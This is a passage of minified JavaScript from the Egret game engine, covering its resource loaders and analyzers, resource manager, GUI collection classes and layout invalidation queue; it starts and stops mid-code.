f=g.name;if(!this.fileDic[f]&&h){try{this.fileDic[f]=JSON.parse(h)}catch(i){egret.Logger.warning("JSON\u6587\u4ef6\u683c\u5f0f\u4e0d\u6b63\u786e: "+g.url+NaN+h)}}};return d}(a.BinAnalyzer);a.JsonAnalyzer=b;b.prototype.__class__="RES.JsonAnalyzer"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._dataFormat=egret.URLLoaderDataFormat.TEXT}__extends(d,e);return d}(a.BinAnalyzer);a.TextAnalyzer=b;b.prototype.__class__="RES.TextAnalyzer"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this.sheetMap={};this.textureMap={};this._dataFormat=egret.URLLoaderDataFormat.TEXT}__extends(d,e);d.prototype.getRes=function(c){var f=this.fileDic[c];f||(f=this.textureMap[c]);!f&&(f=a.AnalyzerBase.getStringPrefix(c),f=this.fileDic[f])&&(c=a.AnalyzerBase.getStringTail(c),f=f.getTexture(c));return f};d.prototype.onLoadFinish=function(g){var i=g.target,f=this.resItemDic[i.hashCode];delete this.resItemDic[i.hashCode];this.recycler.push(i);var j=f.item,h=f.func;j.loaded=g.type==egret.Event.COMPLETE;j.loaded&&this.analyzeData(j,i.data);"string"==typeof i.data?(this._dataFormat=egret.URLLoaderDataFormat.TEXTURE,this.loadFile(j,h,f.thisObject),this._dataFormat=egret.URLLoaderDataFormat.TEXT):h.call(f.thisObject,j)};d.prototype.analyzeData=function(g,i){var f=g.name;if(!this.fileDic[f]&&i){var j;if("string"==typeof i){try{j=JSON.parse(i)}catch(h){egret.Logger.warning("JSON\u6587\u4ef6\u683c\u5f0f\u4e0d\u6b63\u786e: "+g.url)}j&&(this.sheetMap[f]=j,g.loaded=!1,g.url=this.getRelativePath(g.url,j.file))}else{j=this.sheetMap[f],delete this.sheetMap[f],i&&(j=this.parseSpriteSheet(i,j),this.fileDic[f]=j)}}};d.prototype.getRelativePath=function(f,g){f=f.split("\\").join("/");var c=f.lastIndexOf("/");return -1!=c?f.substring(0,c+1)+g:g};d.prototype.parseSpriteSheet=function(i,m){var h=m.frames;if(!h){return null}var n=new egret.SpriteSheet(i),l=this.textureMap,k;for(k in h){var j=h[k];i=n.createTexture(k,j.x,j.y,j.w,j.h,j.offX,j.offY,j.sourceW,j.sourceH);j.scale9grid&&(j=j.scale9grid.split(","),i.scale9Grid=new egret.Rectangle(parseInt(j[0]),parseInt(j[1]),parseInt(j[2]),parseInt(j[3])));null==l[k]&&(l[k]=i)}return n};return d}(a.BinAnalyzer);a.SheetAnalyzer=b;b.prototype.__class__="RES.SheetAnalyzer"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this)}__extends(d,e);d.prototype.analyzeData=function(g,h){var f=g.name;if(!this.fileDic[f]&&h){var i;"string"==typeof h?(i=h,this.sheetMap[f]=i,g.loaded=!1,g.url=this.getTexturePath(g.url,i)):(i=this.sheetMap[f],delete this.sheetMap[f],h&&(i=new egret.BitmapTextSpriteSheet(h,i),this.fileDic[f]=i))}};d.prototype.getTexturePath=function(g,i){var f="",j=i.split("\n")[2],h=j.indexOf('file="');-1!=h&&(j=j.substring(h+6),h=j.indexOf('"'),f=j.substring(0,h));g=g.split("\\").join("/");h=g.lastIndexOf("/");return -1!=h?g.substring(0,h+1)+f:f};return d}(a.SheetAnalyzer);a.FontAnalyzer=b;b.prototype.__class__="RES.FontAnalyzer"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._dataFormat=egret.URLLoaderDataFormat.SOUND}__extends(d,e);d.prototype.analyzeData=function(f,g){var c=f.name;!this.fileDic[c]&&g&&(this.fileDic[c]=g,(c=f.data)&&c.soundType&&g.preload(c.soundType))};return d}(a.BinAnalyzer);a.SoundAnalyzer=b;b.prototype.__class__="RES.SoundAnalyzer"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._dataFormat=egret.URLLoaderDataFormat.TEXT}__extends(d,e);d.prototype.analyzeData=function(g,i){var f=g.name;if(!this.fileDic[f]&&i){try{var j=egret.XML.parse(i);this.fileDic[f]=j}catch(h){}}};return d}(a.BinAnalyzer);a.XMLAnalyzer=b;b.prototype.__class__="RES.XMLAnalyzer"})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(b){b.loadConfig=function(c,e,f){"undefined"===typeof e&&(e="");"undefined"===typeof f&&(f="json");a.loadConfig(c,e,f)};b.loadGroup=function(c,e){"undefined"===typeof e&&(e=0);a.loadGroup(c,e)};b.isGroupLoaded=function(c){return a.isGroupLoaded(c)};b.getGroupByName=function(c){return a.getGroupByName(c)};b.createGroup=function(c,e,f){"undefined"===typeof f&&(f=!1);return a.createGroup(c,e,f)};b.hasRes=function(c){return a.hasRes(c)};b.getRes=function(c){return a.getRes(c)};b.getResAsync=function(c,e,f){a.getResAsync(c,e,f)};b.getResByUrl=function(e,f,g,h){"undefined"===typeof h&&(h="");a.getResByUrl(e,f,g,h)};b.destroyRes=function(c){return a.destroyRes(c)};b.setMaxLoadingThread=function(c){a.setMaxLoadingThread(c)};b.addEventListener=function(f,g,i,j,h){"undefined"===typeof j&&(j=!1);"undefined"===typeof h&&(h=0);a.addEventListener(f,g,i,j,h)};b.removeEventListener=function(e,f,g,h){"undefined"===typeof h&&(h=!1);a.removeEventListener(e,f,g,h)};var d=function(c){function e(){c.call(this);this.analyzerDic={};this.configItemList=[];this.configComplete=this.callLaterFlag=!1;this.loadedGroups=[];this.groupNameList=[];this.asyncDic={};this.init()}__extends(e,c);e.prototype.getAnalyzerByType=function(g){var f=this.analyzerDic[g];f||(f=this.analyzerDic[g]=egret.Injector.getInstance(b.AnalyzerBase,g));return f};e.prototype.init=function(){egret.Injector.hasMapRule(b.AnalyzerBase,b.ResourceItem.TYPE_BIN)||egret.Injector.mapClass(b.AnalyzerBase,b.BinAnalyzer,b.ResourceItem.TYPE_BIN);egret.Injector.hasMapRule(b.AnalyzerBase,b.ResourceItem.TYPE_IMAGE)||egret.Injector.mapClass(b.AnalyzerBase,b.ImageAnalyzer,b.ResourceItem.TYPE_IMAGE);egret.Injector.hasMapRule(b.AnalyzerBase,b.ResourceItem.TYPE_TEXT)||egret.Injector.mapClass(b.AnalyzerBase,b.TextAnalyzer,b.ResourceItem.TYPE_TEXT);egret.Injector.hasMapRule(b.AnalyzerBase,b.ResourceItem.TYPE_JSON)||egret.Injector.mapClass(b.AnalyzerBase,b.JsonAnalyzer,b.ResourceItem.TYPE_JSON);egret.Injector.hasMapRule(b.AnalyzerBase,b.ResourceItem.TYPE_SHEET)||egret.Injector.mapClass(b.AnalyzerBase,b.SheetAnalyzer,b.ResourceItem.TYPE_SHEET);egret.Injector.hasMapRule(b.AnalyzerBase,b.ResourceItem.TYPE_FONT)||egret.Injector.mapClass(b.AnalyzerBase,b.FontAnalyzer,b.ResourceItem.TYPE_FONT);egret.Injector.hasMapRule(b.AnalyzerBase,b.ResourceItem.TYPE_SOUND)||egret.Injector.mapClass(b.AnalyzerBase,b.SoundAnalyzer,b.ResourceItem.TYPE_SOUND);egret.Injector.hasMapRule(b.AnalyzerBase,b.ResourceItem.TYPE_XML)||egret.Injector.mapClass(b.AnalyzerBase,b.XMLAnalyzer,b.ResourceItem.TYPE_XML);this.resConfig=new b.ResourceConfig;this.resLoader=new b.ResourceLoader;this.resLoader.callBack=this.onResourceItemComp;this.resLoader.resInstance=this;this.resLoader.addEventListener(b.ResourceEvent.GROUP_COMPLETE,this.onGroupComp,this)};e.prototype.loadConfig=function(h,g,f){"undefined"===typeof f&&(f="json");this.configItemList.push({url:h,resourceRoot:g,type:f});this.callLaterFlag||(egret.callLater(this.startLoadConfig,this),this.callLaterFlag=!0)};e.prototype.startLoadConfig=function(){this.callLaterFlag=!1;var k=this.configItemList;this.configItemList=[];this.loadingConfigList=k;for(var g=k.length,l=[],j=0;j<g;j++){var i=k[j],i=new b.ResourceItem(i.url,i.url,i.type);l.push(i)}this.resLoader.loadGroup(l,e.GROUP_CONFIG,Number.MAX_VALUE)};e.prototype.isGroupLoaded=function(f){return -1!=this.loadedGroups.indexOf(f)};e.prototype.getGroupByName=function(f){return this.resConfig.getGroupByName(f)};e.prototype.loadGroup=function(h,g){"undefined"===typeof g&&(g=0);if(-1==this.loadedGroups.indexOf(h)&&!this.resLoader.isGroupInLoading(h)){if(this.configComplete){var f=this.resConfig.getGroupByName(h);this.resLoader.loadGroup(f,h,g)}else{this.groupNameList.push({name:h,priority:g})}}};e.prototype.createGroup=function(h,g,f){"undefined"===typeof f&&(f=!1);if(f){var i=this.loadedGroups.indexOf(h);-1!=i&&this.loadedGroups.splice(i,1)}return this.resConfig.createGroup(h,g,f)};e.prototype.onGroupComp=function(k){if(k.groupName==e.GROUP_CONFIG){k=this.loadingConfigList.length;for(var g=0;g<k;g++){var l=this.loadingConfigList[g],j=this.getAnalyzerByType(l.type),i=j.getRes(l.url);j.destroyRes(l.url);this.resConfig.parseConfig(i,l.resourceRoot)}this.configComplete=!0;this.loadingConfigList=null;b.ResourceEvent.dispatchResourceEvent(this,b.ResourceEvent.CONFIG_COMPLETE);l=this.groupNameList;k=l.length;for(g=0;g<k;g++){j=l[g],this.loadGroup(j.name,j.priority)}this.groupNameList=[]}else{this.loadedGroups.push(k.groupName),this.dispatchEvent(k)}};e.prototype.hasRes=function(g){var f=this.resConfig.getType(g);return""==f&&(g=b.AnalyzerBase.getStringPrefix(g),f=this.resConfig.getType(g),""==f)?!1:!0};e.prototype.getRes=function(g){var f=this.resConfig.getType(g);return""==f&&(f=b.AnalyzerBase.getStringPrefix(g),f=this.resConfig.getType(f),""==f)?null:this.getAnalyzerByType(f).getRes(g)};e.prototype.getResAsync=function(j,h,g){var k=this.resConfig.getType(j),i=this.resConfig.getName(j);""==k&&(i=b.AnalyzerBase.getStringPrefix(j),k=this.resConfig.getType(i),""==k)?h.call(g,null):(k=this.getAnalyzerByType(k).getRes(j))?h.call(g,k):(j={key:j,compFunc:h,thisObject:g},this.asyncDic[i]?this.asyncDic[i].push(j):(this.asyncDic[i]=[j],i=this.resConfig.getResourceItem(i),this.resLoader.loadItem(i)))};e.prototype.getResByUrl=function(j,h,g,k){"undefined"===typeof k&&(k="");if(j){k||(k=this.getTypeByUrl(j));var i=this.getAnalyzerByType(k).getRes(j);i?h.call(g,i):(h={key:j,compFunc:h,thisObject:g},this.asyncDic[j]?this.asyncDic[j].push(h):(this.asyncDic[j]=[h],j=new b.ResourceItem(j,j,k),this.resLoader.loadItem(j)))}else{h.call(g,null)}};e.prototype.getTypeByUrl=function(f){(f=f.substr(f.lastIndexOf(".")+1))&&(f=f.toLowerCase());switch(f){case b.ResourceItem.TYPE_XML:case b.ResourceItem.TYPE_JSON:case b.ResourceItem.TYPE_SHEET:break;case"png":case"jpg":case"gif":f=b.ResourceItem.TYPE_IMAGE;break;case"fnt":f=b.ResourceItem.TYPE_FONT;break;case"txt":f=b.ResourceItem.TYPE_TEXT;break;case"mp3":case"ogg":case"mpeg":case"wav":case"m4a":case"mp4":case"aiff":case"wma":case"mid":f=b.ResourceItem.TYPE_SOUND;break;default:f=b.ResourceItem.TYPE_BIN}return f};e.prototype.onResourceItemComp=function(k){var h=this.asyncDic[k.name];delete this.asyncDic[k.name];k=this.getAnalyzerByType(k.type);for(var g=h.length,l=0;l<g;l++){var j=h[l],i=k.getRes(j.key);j.compFunc.call(j.thisObject,i,j.key)}};e.prototype.destroyRes=function(i){var g=this.resConfig.getRawGroupByName(i);if(g){var f=this.loadedGroups.indexOf(i);-1!=f&&this.loadedGroups.splice(f,1);i=g.length;for(var j=0;j<i;j++){f=g[j];f.loaded=!1;var h=this.getAnalyzerByType(f.type);h.destroyRes(f.name)}return !0}g=this.resConfig.getType(i);if(""==g){return !1}f=this.resConfig.getRawResourceItem(i);f.loaded=!1;h=this.getAnalyzerByType(g);return h.destroyRes(i)};e.prototype.setMaxLoadingThread=function(f){1>f&&(f=1);this.resLoader.thread=f};e.GROUP_CONFIG="RES__CONFIG";return e}(egret.EventDispatcher);d.prototype.__class__="Resource";var a=new d})(RES||(RES={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(f){"undefined"===typeof f&&(f=null);c.call(this);this._source=f?f:[]}__extends(e,c);Object.defineProperty(e.prototype,"source",{get:function(){return this._source},set:function(f){f||(f=[]);this._source=f;this.dispatchCoEvent(d.CollectionEventKind.RESET)},enumerable:!0,configurable:!0});e.prototype.refresh=function(){this.dispatchCoEvent(d.CollectionEventKind.REFRESH)};e.prototype.contains=function(f){return -1!=this.getItemIndex(f)};e.prototype.checkIndex=function(f){if(0>f||f>=this._source.length){throw new RangeError('\u7d22\u5f15:"'+f+'"\u8d85\u51fa\u96c6\u5408\u5143\u7d20\u7d22\u5f15\u8303\u56f4')}};Object.defineProperty(e.prototype,"length",{get:function(){return this._source.length},enumerable:!0,configurable:!0});e.prototype.addItem=function(f){this._source.push(f);this.dispatchCoEvent(d.CollectionEventKind.ADD,this._source.length-1,-1,[f])};e.prototype.addItemAt=function(g,f){if(0>f||f>this._source.length){throw new RangeError('\u7d22\u5f15:"'+f+'"\u8d85\u51fa\u96c6\u5408\u5143\u7d20\u7d22\u5f15\u8303\u56f4')}this._source.splice(f,0,g);this.dispatchCoEvent(d.CollectionEventKind.ADD,f,-1,[g])};e.prototype.getItemAt=function(f){return this._source[f]};e.prototype.getItemIndex=function(h){for(var g=this._source.length,f=0;f<g;f++){if(this._source[f]===h){return f}}return -1};e.prototype.itemUpdated=function(g){var f=this.getItemIndex(g);-1!=f&&this.dispatchCoEvent(d.CollectionEventKind.UPDATE,f,-1,[g])};e.prototype.removeAll=function(){var f=this._source.concat();this._source.length=0;this.dispatchCoEvent(d.CollectionEventKind.REMOVE,0,-1,f)};e.prototype.removeItemAt=function(g){this.checkIndex(g);var f=this._source.splice(g,1)[0];this.dispatchCoEvent(d.CollectionEventKind.REMOVE,g,-1,[f]);return f};e.prototype.replaceItemAt=function(h,g){this.checkIndex(g);var f=this._source.splice(g,1,h)[0];this.dispatchCoEvent(d.CollectionEventKind.REPLACE,g,-1,[h],[f]);return f};e.prototype.replaceAll=function(h){h||(h=[]);for(var g=h.length,f=this._source.length,i=g;i<f;i++){this.removeItemAt(g)}for(i=0;i<g;i++){i>=f?this.addItemAt(h[i],i):this.replaceItemAt(h[i],i)}this._source=h};e.prototype.moveItemAt=function(h,g){this.checkIndex(h);this.checkIndex(g);var f=this._source.splice(h,1)[0];this._source.splice(g,0,f);this.dispatchCoEvent(d.CollectionEventKind.MOVE,g,h,[f]);return f};e.prototype.dispatchCoEvent=function(k,h,g,j,i){"undefined"===typeof k&&(k=null);"undefined"===typeof h&&(h=-1);"undefined"===typeof g&&(g=-1);"undefined"===typeof j&&(j=null);"undefined"===typeof i&&(i=null);d.CollectionEvent.dispatchCollectionEvent(this,d.CollectionEvent.COLLECTION_CHANGE,k,h,g,j,i)};return e}(a.EventDispatcher);d.ArrayCollection=b;b.prototype.__class__="egret.gui.ArrayCollection"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,f){"undefined"===typeof g&&(g="children");"undefined"===typeof f&&(f="parent");c.call(this);this.nodeList=[];this._openNodes=[];this._showRoot=!1;this.childrenKey=g;this.parentKey=f}__extends(e,c);Object.defineProperty(e.prototype,"source",{get:function(){return this._source},set:function(f){this._source=f;this._openNodes=[];this.nodeList=[];this._source&&(this._showRoot?this.nodeList.push(this._source):(this._openNodes=[this._source],this.addChildren(this._source,this.nodeList)));this.dispatchCoEvent(d.CollectionEventKind.RESET)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"openNodes",{get:function(){return this._openNodes.concat()},set:function(f){this._openNodes=f?f.concat():[];this.refresh()},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"length",{get:function(){return this.nodeList.length},enumerable:!0,configurable:!0});e.prototype.getItemAt=function(f){return this.nodeList[f]};e.prototype.getItemIndex=function(h){for(var g=this.nodeList.length,f=0;f<g;f++){if(this.nodeList[f]===h){return f}}return -1};e.prototype.itemUpdated=function(g){var f=this.getItemIndex(g);-1!=f&&this.dispatchCoEvent(d.CollectionEventKind.UPDATE,f,-1,[g])};e.prototype.removeItem=function(h){this.isItemOpen(h)&&this.closeNode(h);if(h){var g=h[this.parentKey];if(g&&(g=g[this.childrenKey])){var f=g.indexOf(h);-1!=f&&g.splice(f,1);h[this.parentKey]=null;f=this.nodeList.indexOf(h);-1!=f&&(this.nodeList.splice(f,1),this.dispatchCoEvent(d.CollectionEventKind.REMOVE,f,-1,[h]))}}};Object.defineProperty(e.prototype,"showRoot",{get:function(){return this._showRoot},set:function(f){this._showRoot!=f&&(this._showRoot=f,this._source&&(this._showRoot?this.nodeList.splice(0,0,this._source):(this.nodeList.shift(),-1==this.openNodes.indexOf(this._source)&&this.openNodes.push(this._source)),this.refresh()))},enumerable:!0,configurable:!0});e.prototype.addChildren=function(k,h){if(k.hasOwnProperty(this.childrenKey)&&-1!=this._openNodes.indexOf(k)){for(var g=k[this.childrenKey],l=g.length,j=0;j<l;j++){var i=g[j];h.push(i);this.addChildren(i,h)}}};e.prototype.hasChildren=function(f){return f.hasOwnProperty(this.childrenKey)?0<f[this.childrenKey].length:!1};e.prototype.isItemOpen=function(f){return -1!=this._openNodes.indexOf(f)};e.prototype.expandItem=function(g,f){"undefined"===typeof f&&(f=!0);f?this.openNode(g):this.closeNode(g)};e.prototype.openNode=function(k){if(-1==this._openNodes.indexOf(k)){this._openNodes.push(k);var h=this.nodeList.indexOf(k);if(-1!=h){var g=[];this.addChildren(k,g);for(var j=h;g.length;){j++;var i=g.shift();this.nodeList.splice(j,0,i);this.dispatchCoEvent(d.CollectionEventKind.ADD,j,-1,[i])}this.dispatchCoEvent("open",h,h,[k])}}};e.prototype.closeNode=function(i){var g=this._openNodes.indexOf(i);if(-1!=g){var f=[];this.addChildren(i,f);this._openNodes.splice(g,1);g=this.nodeList.indexOf(i);if(-1!=g){for(g++;f.length;){var h=this.nodeList.splice(g,1)[0];this.dispatchCoEvent(d.CollectionEventKind.REMOVE,g,-1,[h]);f.shift()}g--;this.dispatchCoEvent(d.CollectionEventKind.CLOSE,g,g,[i])}}};e.prototype.getDepth=function(g){var f=0;for(g=g[this.parentKey];g;){f++,g=g[this.parentKey]}0<f&&!this._showRoot&&f--;return f};e.prototype.refresh=function(){this.nodeList=[];this._source&&(this._showRoot&&this.nodeList.push(this._source),this.addChildren(this._source,this.nodeList));this.dispatchCoEvent(d.CollectionEventKind.REFRESH)};e.prototype.dispatchCoEvent=function(k,h,g,j,i){"undefined"===typeof k&&(k=null);"undefined"===typeof h&&(h=-1);"undefined"===typeof g&&(g=-1);"undefined"===typeof j&&(j=null);"undefined"===typeof i&&(i=null);d.CollectionEvent.dispatchCollectionEvent(this,d.CollectionEvent.COLLECTION_CHANGE,k,h,g,j,i)};e.assignParent=function(p,h,q){"undefined"===typeof h&&(h="children");"undefined"===typeof q&&(q="parent");if(p.hasOwnProperty(h)){for(var o=p[h],n=o.length,m=0;m<n;m++){var j=o[m];try{j[q]=p}catch(i){}e.assignParent(j,h,q)}}};return e}(a.EventDispatcher);d.ObjectCollection=b;b.prototype.__class__="egret.gui.ObjectCollection"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.targetLevel=Number.MAX_VALUE;this.updateCompleteQueue=new d.DepthQueue;this.invalidateClientPropertiesFlag=this.invalidatePropertiesFlag=!1;this.invalidatePropertiesQueue=new d.DepthQueue;this.invalidateClientSizeFlag=this.invalidateSizeFlag=!1;this.invalidateSizeQueue=new d.DepthQueue;this.invalidateDisplayListFlag=!1;this.invalidateDisplayListQueue=new d.DepthQueue;this.listenersAttached=!1}__extends(e,c);e.prototype.invalidateProperties=function(f){this.invalidatePropertiesFlag||(this.invalidatePropertiesFlag=!0,this.listenersAttached||this.attachListeners());this.targetLevel<=f.nestLevel&&(this.invalidateClientPropertiesFlag=!0);this.invalidatePropertiesQueue.insert(f)};e.prototype.validateProperties=function(){for(var f=this.invalidatePropertiesQueue.shift();f;){f.parent&&(f.validateProperties(),f.updateCompletePendingFlag||(this.updateCompleteQueue.insert(f),f.updateCompletePendingFlag=!0)),f=this.invalidatePropertiesQueue.shift()}this.invalidatePropertiesQueue.isEmpty()&&(this.invalidatePropertiesFlag=!1)};e.prototype.invalidateSize=function(f){this.invalidateSizeFlag||(this.invalidateSizeFlag=!0,this.listenersAttached||this.attachListeners());this.targetLevel<=f.nestLevel&&(this.invalidateClientSizeFlag=!0);this.invalidateSizeQueue.insert(f)};e.prototype.validateSize=function(){for(var f=this.invalidateSizeQueue.pop();f;){f.parent&&(f.validateSize(),f.updateCompletePendingFlag||(this.updateCompleteQueue.insert(f),f.updateCompletePendingFlag=!0)),f=this.invalidateSizeQueue.pop()}this.invalidateSizeQueue.isEmpty()&&(this.invalidateSizeFlag=!1)};e.prototype.invalidateDisplayList=function(f){this.invalidateDisplayListFlag||(this.invalidateDisplayListFlag=!0,this.listenersAttached||this.attachListeners());this.invalidateDisplayListQueue.insert(f)};e.prototype.validateDisplayList=function(){for(var f=this.invalidateDisplayListQueue.shift();f;){f.parent&&(f.validateDisplayList(),f.updateCompletePendingFlag||(this.updateCompleteQueue.insert(f),f.updateCompletePendingFlag=!0)),f=this.invalidateDisplayListQueue.shift()}this.invalidateDisplayListQueue.isEmpty()&&(this.invalidateDisplayListFlag=!1)};e.prototype.attachListeners=function(){d.UIGlobals.stage.addEventListener(a.Event.ENTER_FRAME,this.doPhasedInstantiationCallBack,this);d.UIGlobals.stage.addEventListener(a.Event.RENDER,this.doPhasedInstantiationCallBack,this);d.UIGlobals.stage.invalidate();this.listenersAttached=!0};e.prototype.doPhasedInstantiationCallBack=function(f){d.UIGlobals.stage.removeEventListener(a.Event.ENTER_FRAME,this.doPhasedInstantiationCallBack,this);d.UIGlobals.stage.removeEventListener(a.Event.RENDER,this.doPhasedInstantiationCallBack,this);this.doPhasedInstantiation()};e.prototype.doPhasedInstantiation=function(){this.invalidatePropertiesFlag&&this.validateProperties();this.invalidateSizeFlag&&this.validateSize();this.invalidateDisplayListFlag&&this.validateDisplayList();if(this.invalidatePropertiesFlag||this.invalidateSizeFlag||this.invalidateDisplayListFlag){this.attachListeners()}else{this.listenersAttached=!1;for(var f=this.updateCompleteQueue.pop();f;){f.initialized||(f.initialized=!0),f.hasEventListener(d.UIEvent.UPDATE_COMPLETE)&&d.UIEvent.dispatchUIEvent(f,d.UIEvent.UPDATE_COMPLETE),f.updateCompletePendingFlag=!1,f=this.updateCompleteQueue.pop()}d.UIEvent.dispatchUIEvent(this,d.UIEvent.UPDATE_COMPLETE)}};e.prototype.validateNow=function(){for(var f=0;this.listenersAttached&&100>f++;){this.doPhasedInstantiationCallBack()}};e.prototype.validateClient=function(k,h){"undefined"===typeof h&&(h=!1);var g,j=!1,i=this.targetLevel;for(this.targetLevel==Number.MAX_VALUE&&(this.targetLevel=k.nestLevel);!j;){j=!0;for(g=this.invalidatePropertiesQueue.removeSmallestChild(k);g;){g.parent&&(g.validateProperties(),g.updateCompletePendingFlag||(this.updateCompleteQueue.insert(g),g.updateCompletePendingFlag=!0)),g=this.invalidatePropertiesQueue.removeSmallestChild(k)}this.invalidatePropertiesQueue.isEmpty()&&(this.invalidatePropertiesFlag=!1);this.invalidateClientPropertiesFlag=!1;for(g=this.invalidateSizeQueue.removeLargestChild(k);g;){g.parent&&(g.validateSize(),g.updateCompletePendingFlag||(this.updateCompleteQueue.insert(g),g.updateCompletePendingFlag=!0));if(this.invalidateClientPropertiesFlag&&(g=this.invalidatePropertiesQueue.removeSmallestChild(k))){this.invalidatePropertiesQueue.insert(g);j=!1;break}g=this.invalidateSizeQueue.removeLargestChild(k)}this.invalidateSizeQueue.isEmpty()&&(this.invalidateSizeFlag=!1);this.invalidateClientSizeFlag=this.invalidateClientPropertiesFlag=!1;if(!h){for(g=this.invalidateDisplayListQueue.removeSmallestChild(k);g;){g.parent&&(g.validateDisplayList(),g.updateCompletePendingFlag||(this.updateCompleteQueue.insert(g),g.updateCompletePendingFlag=!0));if(this.invalidateClientPropertiesFlag&&(g=this.invalidatePropertiesQueue.removeSmallestChild(k))){this.invalidatePropertiesQueue.insert(g);j=!1;break}if(this.invalidateClientSizeFlag&&(g=this.invalidateSizeQueue.removeLargestChild(k))){this.invalidateSizeQueue.insert(g);j=!1;break}g=this.invalidateDisplayListQueue.removeSmallestChild(k)}this.invalidateDisplayListQueue.isEmpty()&&(this.invalidateDisplayListFlag=!1)}}if(i==Number.MAX_VALUE&&(this.targetLevel=Number.MAX_VALUE,!h)){for(g=this.updateCompleteQueue.removeLargestChild(k);g;){g.initialized||(g.initialized=!0),g.hasEventListener(d.UIEvent.UPDATE_COMPLETE)&&d.UIEvent.dispatchUIEvent(g,d.UIEvent.UPDATE_COMPLETE),g.updateCompletePendingFlag=!1,g=this.updateCompleteQueue.removeLargestChild(k)}}};return e}(a.EventDispatcher);d.LayoutManager=b;b.prototype.__class__="egret.gui.LayoutManager"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(g){var e=function(){function b(){this.depthBins=[];this.minDepth=0;this.maxDepth=-1}b.prototype.insert=function(i){var f=i.nestLevel,j=i.hashCode;this.maxDepth<this.minDepth?this.minDepth=this.maxDepth=f:(f<this.minDepth&&(this.minDepth=f),f>this.maxDepth&&(this.maxDepth=f));var h=this.depthBins[f];h?null==h.items[j]&&(h.items[j]=i,h.length++):(h=new d,this.depthBins[f]=h,h.items[j]=i,h.length++)};b.prototype.pop=function(){var i=null;if(this.minDepth<=this.maxDepth){for(var h=this.depthBins[this.maxDepth];!h||0==h.length;){this.maxDepth--;if(this.maxDepth<this.minDepth){return null}h=this.depthBins[this.maxDepth]}var f=h.items,j;for(j in f){i=f[j];this.remove(i,this.maxDepth);break}for(;!h||0==h.length;){this.maxDepth--;if(this.maxDepth<this.minDepth){break}h=this.depthBins[this.maxDepth]}}return i};b.prototype.shift=function(){var i=null;if(this.minDepth<=this.maxDepth){for(var h=this.depthBins[this.minDepth];!h||0==h.length;){this.minDepth++;if(this.minDepth>this.maxDepth){return null}h=this.depthBins[this.minDepth]}var f=h.items,j;for(j in f){i=f[j];this.remove(i,this.minDepth);break}for(;!h||0==h.length;){this.minDepth++;if(this.minDepth>this.maxDepth){break}h=this.depthBins[this.minDepth]}}return i};b.prototype.removeLargestChild=function(n){for(var i=this.maxDepth,h=n.nestLevel,o=n.hashCode;h<=i;){var m=this.depthBins[i];if(m&&0<m.length){if(i==n.nestLevel){if(m.items[o]){return this.remove(n,i),n}}else{var m=m.items,l;for(l in m){var j=m[l];if(j instanceof a.DisplayObject&&n instanceof a.DisplayObjectContainer&&n.contains(j)){return this.remove(j,i),j}}}i--}else{if(i==this.maxDepth&&this.maxDepth--,i--,i<h){break}}}return null};b.prototype.removeSmallestChild=function(l){for(var i=l.nestLevel,h=l.hashCode;i<=this.maxDepth;){var m=this.depthBins[i];if(m&&0<m.length){if(i==l.nestLevel){if(m.items[h]){return this.remove(l,i),l}}else{var m=m.items,k;for(k in m){var j=m[k];if(j instanceof a.DisplayObject&&l instanceof a.DisplayObjectContainer&&l.contains(j)){return this.remove(j,i),j}}}i++}else{if(i==this.minDepth&&this.minDepth++,i++,i>this.maxDepth){break}}}return null};b.prototype.remove=function(i,h){"undefined"===typeof h&&(h=-1);var f=i.hashCode,j=this.depthBins[0<=h?h:i.nestLevel];return j&&null!=j.items[f]?(delete j.items[f],j.length--,i):null};b.prototype.removeAll=function(){this.minDepth=this.depthBins.length=0;this.maxDepth=-1};b.prototype.isEmpty=function(){return this.minDepth>this.maxDepth};return b}();g.DepthQueue=e;e.prototype.__class__="egret.gui.DepthQueue";var d=function(){return function(){this.length=0;this.items=[]}}();g.DepthBin=d;d.prototype.__class__="egret.gui.DepthBin"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}Object.defineProperty(c,"stage",{get:function(){return c._stage},enumerable:!0,configurable:!0});c._initlize=function(e){c.initlized||(c._stage=e,c._layoutManager=new d.LayoutManager,c.initlized=!0)};Object.defineProperty(c,"uiStage",{get:function(){return c._uiStage},enumerable:!0,configurable:!0});c.initlized=!1;return 